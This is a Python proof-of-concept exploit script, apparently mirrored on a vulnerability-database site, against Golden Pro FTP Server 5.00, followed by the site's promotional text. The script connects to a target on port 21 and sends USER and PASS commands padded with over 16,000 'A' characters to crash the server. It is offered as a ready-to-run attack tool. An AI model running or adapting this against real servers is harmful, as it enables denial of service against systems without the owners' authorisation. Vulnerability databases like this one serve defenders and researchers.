`#!/usr/bin/python
#Both Golden Pro And Free FTP server is prone to a remote DOS vulnerability.POC
#Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.
#-------------------------------------------------------------------------
#Exploit Title : Golden FTP Server DOS vulnerability.
#Date : 2015.06.01
#Exploit Author : 4Lu5h
#Email : [email protected]
#Product Homepage: www.goldenftpserver.com
#Software Link : http://www.goldenftpserver.com/statdir/stat.php?id=download_pro
#Product: Golden Pro FTP Server
#Version : 5.00
#Tested Os : Windows XP SP1/SP3 TR
#--------------------------------------------------------------------------
import socket
import sys
def usage():
print "usage : ./goldenftp.py <ip > "
print "example: ./goldenftp.py 192.168.189.19"
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 2:
usage()
sys.exit()
ip = sys.argv[1]
buff = "A" * 16379
try:
print("[-] Connecting to " + ip + " for exploitation..\n")
s.connect((ip,21))
s.recv(1024)
print "[-] Connected to server"
print "[-] Sending exploit"
s.send('USER '+buff+'\r\n') #if fails try username test
s.send('PASS '+buff+'\r\n')
s.close()
print("[-] Exploit successfully sent...")
except:
print "[-] Exploit failed.. Check if server is up.."
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation